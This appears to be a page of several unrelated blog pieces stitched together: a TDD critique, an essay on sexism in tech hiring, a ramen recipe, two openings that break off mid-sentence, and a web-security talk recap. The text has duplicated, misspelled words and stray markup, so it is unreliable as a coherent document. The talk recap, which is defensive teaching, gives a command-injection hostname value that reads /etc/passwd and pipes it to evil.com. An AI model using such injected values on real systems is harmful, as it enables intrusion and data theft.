DHH had a post about TDD which apparently has raised a lot of comments.  The usual suspects have replied, showing once again they don’t get it (and in this case adding one of the dumber discussions of monogamy I’ve seen in a while….then again, he’s a developer sort, so, you can’t really expect much).

DHH says:

But first of all take a deep breath. We're herding some sacred cows to the slaughter right now. That's painful and bloody. TDD has been so successful that it's interwoven in a lot of programmer identities. TDD is not just what they do, it's who they are. We have some serious deprogramming ahead of us as a community to get out from under that, and it's going to take some time.

I certainly agree that TDD is a sacred cow for some, and a part of some programmer identities, but I most certainly do not agree that it has been “so successful”, going so far as to posit that it hasn’t been successful at all, from almost any perspective.  The vast majority of test suites that I have encountered have been inadequate, unmaintained, meager, or even worse, have created horribly conceived code bases that are based on myopic opinions about testability, as opposed to what makes for well conceived code or properly driven software development.

Uncle Bob’s response is enlightening in ways he certainly didn’t intend, but I want to focus on one thing he says in particular, what he apparently thinks is the most important thing:

If you have a test suite that you trust so much that you are willing to deploy the system based solely on those tests passing; and if that test suite can be executed in seconds, or minutes, then you can quickly and easily clean the code without fear.

Think about this for a minute.

Cleaning code doesn’t even make it into the top five on the list of most important developer practices, and most definitely not even in the top twenty of most important software development practices.

He talks about how clean code allows developers to code quickly, and without fear.  Simply for the sake of argument, I will accept this for the moment.

But being able to quickly code poorly conceived code is not a good thing.  Most importantly, it’s the wrong focus.

Let me repeat for emphasis, it is the wrong focus.

The proper focus involves determining the proper business requirements and executing them. 

Testing itself, properly conceived, is within the top five of most important developer practices, and at least cracks the top ten of most important software development practices.

But TDD, paradoxically, typically (though not always) leads not only to bad code development, but bad testing itself.

To be a good developer, one really needs to stop thinking and being just a developer, and learning the techniques of TDD but abandoning the dogma of it is probably a necessary step in that direction.

For those of us who’ve learned to actually be aware of sexism and racism, it’s incredibly frustrating how the same stupid pathetic arguments about sexism keep getting regurgitated, over and over again, by clueless guys. It’s exhausting and frustrating to constantly constant answer the same stupid, bullshit arguments. But if it’s frustrating frustating to a white guy like me, just imagine what it’s like for the people who are actually affected by it!

This rant is brought on by the fact that lately, there’s been a movement in the tech/engineering community to try to actually do something about the amount of sexism in the community, by trying to push conference organizers to include speakers outside the usual group of guys.

You see, it’s a sad fact that engineering, as a field, is incredibly sexist. We don’t like to admit it. Tons of people constantly deny it, and make excuses for it, and refuse to try to do anything about it. Many people in this field really, genuinely believe that technology is a true meritocracy: those of us who succeed because we deserve to succeed. We see ourselves as self-made: we’ve earned what we’ve got. Anyone else – anyone else – who worked as hard as we do, who’s as good as we are, would succeed as much as we have.

Unfortunately, that’s not reality. Women and minorities monorities of all sorts have a much harder time in this community than the typical guy. But when you try to do anything about this, the meritocrats throw a tantrum. They get actively angry and self-righteous when anyone actually tries to do anything about it. You can’t actively try to hire women: that’s discriminating against the guys! You’re deliberately trying to hire inferior people! It’s not fair!

I am not exaggerating this. Here’s an example.

Summing it up, turning away qualified male candidates and accepting potentially less qualified female candidates just to meet a quota is not only sexist, but is a horrible face to put on the problem. My wife is a nurse. A female dominated field. I also own a construction company. A male dominated field. In neither field would you see a company or an organization suggest hiring one gender over the other to satisfy a ratio.

What exactly is being accomplished by limiting the speakers at an event, or your employee base to an equal male / female ratio? Turning away qualified candidates and hiring purely based on gender, or religion, or race? What does having a program like Women Who Code, PyLadies, Girls Who Code, Black Girls Code, etc… accomplish? The short answer; very little if anything. In fact, I believe groups like this have the potential actually do more harm than good. But I’m not here to debate the minutia of any of those groups so I’ll summarize;…

Seriously, I don’t think I’ve ever heard anyone seriously suggest that you should
turn away candidates based purely on gender, or race, or whatever.

What we do advocate is recognizing that there are people other than white guys in the world, and maybe we should actually include them once in a while.

The majority of people running tech conferences are white guys. When they think about inviting people to come speak, they’re naturally going to start off with a list of “Who do I know who’d be a good speaker?”. The nature of the tech community is that the vast majority of people that they immediately think of are going to be men – because the majority of people they’ve worked with, and the majority of people they’e seen speak at other conferences were men.

People love to handwave this, talking about how it’s just that the field is so male dominated. It’s true that it is, but there are many problems with that as an excuse: excuse:,/p>

1. The male domination of the field isn’t meritocratic. We discriminate against people who aren’t like us at every level – from elementary school teachers discouraging little girls from being interested intereste in math, to college classmates harassing women in their classes, to people conducting job interviews and making hiring decisions.
2. The actual fraction of women who work in tech is much larger than the fraction of women in leadership, or who are invited to give talks at conferences.
3. There are a shocking number of women who are driven out of technology and engineering by harassment harassement by their male coworkers.

People get really angry when we say thing like this. Part of it is that old meritocracy thing: you’re saying that I didn’t earn my success.

Guess what? You didn’t. Not entirely. No one succeeds solely on the basis of their own merit. There’s always a huge amount of luck involved – being in the right place, having the right body, having the right parents, having the right opportunities. opportutinies. Yes, hard work, talent, and skill helped you get to where you are. It’s a very large, very important factor in your success. But if you were born to a different family, with exactly the same abilities, you might not have ever had any chance at succeeding, despite equally hard work.

The other side of this is actually a sign of progress. We’ve come to accept that racism and sexism are bad. That’s a really good thing. But in our black-and-white way of seeing the world, we know that sexism is bad: therefore, if I’m sexist, I’m a bad person.

That’s not true. Sexism is a deeply ingrained attribute in our culture. It’s pretty much impossible to grow up in the US or in Europe, or in China, or in India, or in Africa, without being constantly immersed in sexist attitudes. You’re going to be exposed – and not just exposed, but educated in a way that teaches you to have the attitudes that come from your culture.

Recognizing that you’ve grown up in a sexist culture, and acknowledging that this had an effect on you and your attitudes doesn’t make you a bad person. It makes you human. Refusing to admit that your culture had any influence on you, and continuing to discriminate against people because you can’t admit that you might do something wrong? That’s what makes you a bad person.

I’ve told this story before, but it’s a damned good story, and it’s true, and it’s not hearsay: it’s my personal first-hand experience. It’s part of my own awakening to just how pervasive gender bias is.

A long time ago now, I worked for IBM Research. My third year working there, I volunteered to be the summer student coordinator for my department. The previous year, IBM Research had hired around 100 summer students, and exactly one of them was a woman. The vast majority were white guys, with whith a sizable minority of Chinese and Indian guys. The pool of candidates was nowhere near that skewed. It’s definitely true that men outnumber women in computer science by a sizable sizeable factor, but not 99 to 1. Our candidate pool was more like 5 men to 1 woman.

So, that year, the powers that be at the company decided that we needed to do something about it. What they decided to do was allocate a reasonable number of summer student slots to each department based on the departments budget, and they could use those slots to hire anyone they wanted. If they hired a candidate who was a woman or minority, they didn’t count against the budget. (Note that they did not reduce the number of students we were allowed to hire: they allocated based on the usual budget. They set up an additional budget for the extra students.)

My department was one of the smaller ones. We were allocated 5 slots for summer students. The day we started allowing people to request students, all 5 were gone within a couple of hours. The next day, the guy across the hall from me came to my office with a resume for a student he wanted to hire. Of course, it was a guy.

I told him that we couldn’t hire him – our budget was gone. But if he could find a woman, we didn’t need budget to hire her.

He threw a fit. It was the angriest I ever saw him. (Most of the time, he was a really nice, mellow guy, so he was really upset about his!) It was discrimination! Sexism! Unfair! He carefully went through the resume database looking for the best candidate, not the best male candidate. We were refusing to hire the most qualified candidate! On, and on, and on. I finally got rid of him, after pointing out at least a dozen times that I was just a lowly junior engineer, not someone who made the policy.

The next day, he was back in my office. He was practically bouncing off the walls: he’d gone back to the resume database, and he’d found a woman who was even better than the guy he’d wanted to hire.

This is the point of the whole story. He wasn’t some nasty, spiteful, misogynistic twit. He wasn’t being deliberately discriminatory. He wasn’t consciously screening out women’s resumes. But the fact is, when he went through the resume database without being forced to consider women, he’d eliminated the resumes of every single woman. He was going through a database of 1000s of resumes, and in that process of quickly skimming, he skipped over a more qualified candidate, because she had a woman’s name.

This is what happens in the real world. We don’t deliberately try to be sexists. We don’t act in a deliberately sexist or discriminatory way. But we’re part of a culture that has deeply ingrained sexist attitudes. We’re taught, by the way teachers treat boys and girls differently in school. We’re taught, by the way that society treats us differently. We absorb the message that when it comes to things like engineering, women are inferior. Most of the time, we don’t even really notice that we’ve absorbed that. But we have. It’s been hammered into us so many times, in so many ways, in so many settings – it would be shocking if we didn’t pick it up.

I’m using my experience at IBM as an example, partly because it’s such a vivid demonstration, and partly because it’s impossible to figure out the real names of anyone involved. But I’ve seen the same kind of thing happen in every job I’ve had where I’ve been involved with hiring. It’s not usually deliberate, but it’s very real.

The point of things like the pledges to not attend conferences that don’t have women and minorities as speakers and participants isn’t because we want to exclude the most qualified speakers. It isn’t because we want to force conference planners to include less qualified speakers. It’s because we know that it’s easy, without trying, to exclude some of the most qualified speakers, because the people running the conference don’t notice them.

They’re just like my friend at IBM: they’re not deliberately trying to exclude women. But if they don’t actively try to think about people outside the usual pool of guys like them, they won’t include any. And if they don’t, then they’re their priming the next round of conference planners to do the same: if everyone you’ve seen give a great talk at a conference is a guy, then when you’re planning a conference and you try to think of some great speakers to invite, then who’s going to come to mind?

I’m particularly annoyed at the snipe that the author of the quote up above takes at “Girls Who Code”. GWC is a great organization. If you actually take the time to listen to the people who run it, you’ll hear some appalling true stories, about things like young women who go to college to study computer science, and on their first day in class, have classmates telling them that they’re in the wrong classroom: this is a programming class, not a class for chicks.

We have a community where we treat women like that. And then we rant and rave about how horribly unfair it is to do anything about it.

Yesterday, my son wasn’t feeling good, and asked for soup. (Poor kid inherited my stomach troubles.) I’ve been dying to try my hand at a real, serious ramen, so I dived in and did this. It turned out amazingly good.

If you’re American, odds are that when you hear “ramen”, you think of those little packets of noodles with a powdered MSG-heavy soup base that you can buy 5 for a dollar. To be honest, I do like those. But they’re a sad imitation of what ramen is supposed to be.

Ramen is, in my opinion, one of the very best soup dishes in the world. A real ramen is a bowl of chewy noodles, served in a rich hearty broth, with some delicious roasted meat, some veggies. Ramen broth isn’t a wimpy soup like american chicken noodle soup – it’s an intense soup. When you eat a bowl of ramen, you’re eating a meal, and you finish it feeling full, and warm, and happy with the world.

This isn’t a simple recipe. It’s a lot of work, but it’s worth it! And most of the components can be prepared in large batches and frozen.

So, here we go. Ramen with Chicken and Shrimp Tare, Watercress, and Roast Pork Tenderloin!

Tare

In ramen, you make the broth relatively unseasoned. Separately, you prepare a tare, which is a seasoning liquid. When you serve the ramen, you start by putting tare in the bottom of the bowl. It’s one of the tricks of ramen – it’s a big part of what makes the broth special. Every ramen cook has their own tare recipe.

Ingredients

• Shells from 1lb shrimp
• 8 chicken wings, cut into three pieces each. (Do not throw out the wingtips – for this, they’re the best part!
• 1 cup mirin
• 1 cup sake
• 1/2 cup soy sauce
• 1 cup water.

Procedure

1. Heat some oil in a pan, and saute the shrimp shells until they’re cooked through and pink.
2. Transfer the cooked shells to a cold saucepan.
3. Add a bit more oil to the hot pan, and add the wings into the pan where you cooked the shells. Brown them really well on both sides. (I also took the neck from the chicken I used to make the broth, and put it in here.)
4. Move them into the saucepan with the shells.
5. Add the mirin, sake, soy, and water into the pan where you sauteed the wings, and scrape up all of the brown bits. Then pour it over the wings and shells.
6. Simmer for at least 30 minutes, until it reduces by roughly half. Skim out all of the solids.

You should give this a taste. It should be very salty, but also sweet, and intensely flavored from the chicken and shrimp shells.

The Broth

Ingredients

• 1 whole chicken, cut into parts.
• A bunch of miscellaneous bones – chicken backs are the best, pork bones will be good too – as long as they aren’t smoked. Even beef soup bones will work.
• 1 whole onion, cut into large chunks.
• 1 head of garlic, cut in half.
• 3 whole star anise

Procedure

1. Heat up a large stockpot on high heat. Add a little bit of oil.
2. Throw in the bones, and stir them until they’re browned on all sides.
3. Add in the chicken parts. No salt, no browning – just throw the chicken in.
4. Add enough water to cover everything in the pot.
5. Add the onion, garlic, and anise to the pot.
6. When it comes to a boil, reduce the heat to low, and let it simmer. Periodically skim the scum that rises to the top.
7. Simmer for at least 2 hours. You can simmer it overnight in a slow-cooker, and it’ll taste even better, but you’ll need extra water.
8. Take out the chicken, bones, and spices. Add some salt – but you want to leave the broth a little underseasoned, because you’re going to mix in some tare later!

Roast Pork Tenderloin

Ingredients

• 1/2 pork tenderloin, cut into two pieces (to make it easier to fit into the pan.)
• 2 cloves garlic, finely minced.
• 3 tablespoons soy sauce
• 3 tablespoons sake
• 1 teaspoon sugar

Procedure

1. Take the tenderloin. Remove any silverskin. Poke all over, on all sides, with a fork. (This will help the marinade
   penetrate.)
2. Mix together the garlic, soy, sake, and sugar to make a marinade.
3. Put the pork in, and get it coated. Let it marinade for about an hour, turning it a couple of times.
4. Heat a cast iron pan on high heat until it’s smoking hot.
5. Put the tenderloin pieces in the pan. Turn it to brown on all sides.
6. Remove the pork from the pan, and transfer to a 350 degree oven. Cook until it’s about 140 degrees inside. (This
   took about 15 minutes in my oven.) This is a bit underdone, but it’s going to cook more in the soup, and you don’t want it to be tough!
7. Slice the pork into half-inch rounds.
8. Dip the rounds in the hot tare.

Putting it all together

Ingredients

• Eggs – one per person.
• The green parts of a couple of scallions, cut finely.
• A bunch of watercress.
• Torigashi shichimi (a prepackaged japanese spice blend.)
• Sesame oil.
• Ramen noodles. (If you go to an asian grocery, you should be able to find fresh ramen noodles, or at least decent quality dried.)

Procedure

1. Boil the eggs for about 5-6 minutes. The whites should be set, the yolks still a bit runny.
2. In each soup bowl, put:
   • A couple of tablespoons of tare (the exact quantity depends on your taste, and how much you reduced your tare)
   • a bunch of watercress
   • some of the minced scallions
   • A drop of sesame oil
3. Boil the ramen.
4. To each bowl, add a big bunch of ramen noodles.
5. Cover the noodles with the broth.
6. Add a couple of slices of the roast pork.
7. Crack the egg, and scoop it out of its shell into the soup.
8. Sprinkle some shichimi on top.
9. Eat!

We are things that labor under the illusion of having a self. A secretion of sensory experience and feeling. Programmed with total assurance that we are each somebody, when, in fact, nobody is anybody. Rust Cohle has tumbled down a deep, dark philosophical hole and wants us to follow him. In HBO’s episodic crime drama True Detective, Cohle—played masterfully by Matthew McConaughey—accentuates his homicide investigations with disturbing existential rumination. Listening to Cohle lecture on the

Researchers know that high-voltage power lines have some strange influence on animals. Creatures from reindeer to elephants to birds tend to avoid the areas around power lines. This was mysterious because the structures seem passive and simple to walk or fly past. However, scientists now say this may be because power lines emit ultraviolet light, invisible to human eyes, that appears as frightening flashes to animals that can perceive ultraviolet light. This paper is the first to offer a

I’ve just finished my presentation “Attacking Web Applications” at O’Reilly Fluent, a web developers’ conference in San Francisco. I’ve really enjoyed the conference atmosphere and had some great conversations. If you were at my talk, thanks a lot for coming! (I’d also really appreciate it if you rate the session and provide any feedback in the comments.)

Here are the slides:

The basic premise of this talk is that web developers need to be aware of the way attackers think and operate. It isn’t enough to be familiar with common attacks on the theoretical level. Nothing is more satisfying and more educational than actually carrying out an attack (with permission of course!) and then learning how to defend against it. Specifically, we reviewed the following vulnerabilities and discussed how to exploit them and how to defend against them.

1. SQL injection and OS command injection

These vulnerability categories are extremely commonplace on the web today. While SQL injection is well-known, OS command injection is a bit more obscure and involves manipulating parameters passed to shell commands or system APIs that can eventually execute arbitrary code. For example, if you issue a system(“ping ” + $request["hostname"]) on your server, you might be opening yourself up for “special” hostnames like “127.0.0.1; cat /etc/passwd > nc evil.com”.

2. Cookie and session security

Cookies often contain sensitive information, specifically session ids. We discussed how to store and generate session ids securely, and how to manipulate cookies that contain too much information in addition to the session id. Specifically, we worked with Google Gruyere (a vulnerable web app for demonstration purposes) which has permission level information stored and transmitted in the cookie!

3. Transport security and HTTPS

Anything remotely sensitive or important that is transmitted in the clear is extremely dangerous to your users and to you. HTTP or partial HTTPS is visible to anyone, especially if you’re connected to an unsecured Wi-Fi network. We saw how to manipulate HTTP responses using Fiddler, and I showed a demo of using Wi-Fi Pineapple, a tiny pentesting device, that can spoof DNS responses, manipulate HTTP traffic, and even reply to 802.11 probes pretending to be a Wi-Fi network that it isn’t. Everything transmitted in the clear over these fake networks is freely accessible to the attacker.

I promised to post online some of the “interesting” Wi-Fi networks that the Pineapple was able to fake. Here are a few:

Marriott-Guest
ALBERTA STREET PUB
gogoinflight
AmtrakConnect
AndroidAP
attwifi
HHONORS
McDonalds FREE
Apple Store
Apple Demo
Hi Desert RV Park Public WiFi
Router, I Hardly Know Her
Area51
AIRPORT-FREE-WIFI
Dominos_Corp

4. Storing passwords

We talked about best practices for storing passwords, which are basically: don’t store them if you don’t have to. Obviously plain text and encrypted passwords are bad, but hashing isn’t enough when you’re using a very fast hash function (like MD5) or not adding a salt. We looked at the LinkedIn 2012 leak and found some pretty complex passwords in it, as well as some horrible passwords like “password”, “123456″, and “linkedin”. This is a good opportunity to mention Troy Hunt’s excellent haveibeenpwned.com service that can help you see if your email address has been in any of the data leaks from the last few years.

5. XSS and CSRF

These are two classic attacks but are still prevalent on the web today. XSS is all about injecting JavaScript code into pages that are later displayed to other users. Again, we used the Google Gruyere vulnerable app to plant JavaScript code in links and profile photo URLs. CSRF exploits the fact a user is authenticated against website A to plant a link on service B that causes A to do something bad, like transferring money or deleting an account. Again, we used Gruyere to embed a link that deletes the user’s messages when engaged.

6. Admin consoles

Admin consoles are great debugging tools for devops, but they mustn’t be exposed to the public Internet. I used Google to search for open ELMAH pages that provide detailed exception information including a stack trace and … ASP.NET session cookies! Cookies that can be stolen, you know.

---

I am posting short links and updates on Twitter as well as on this blog. You can follow me: @goldshtn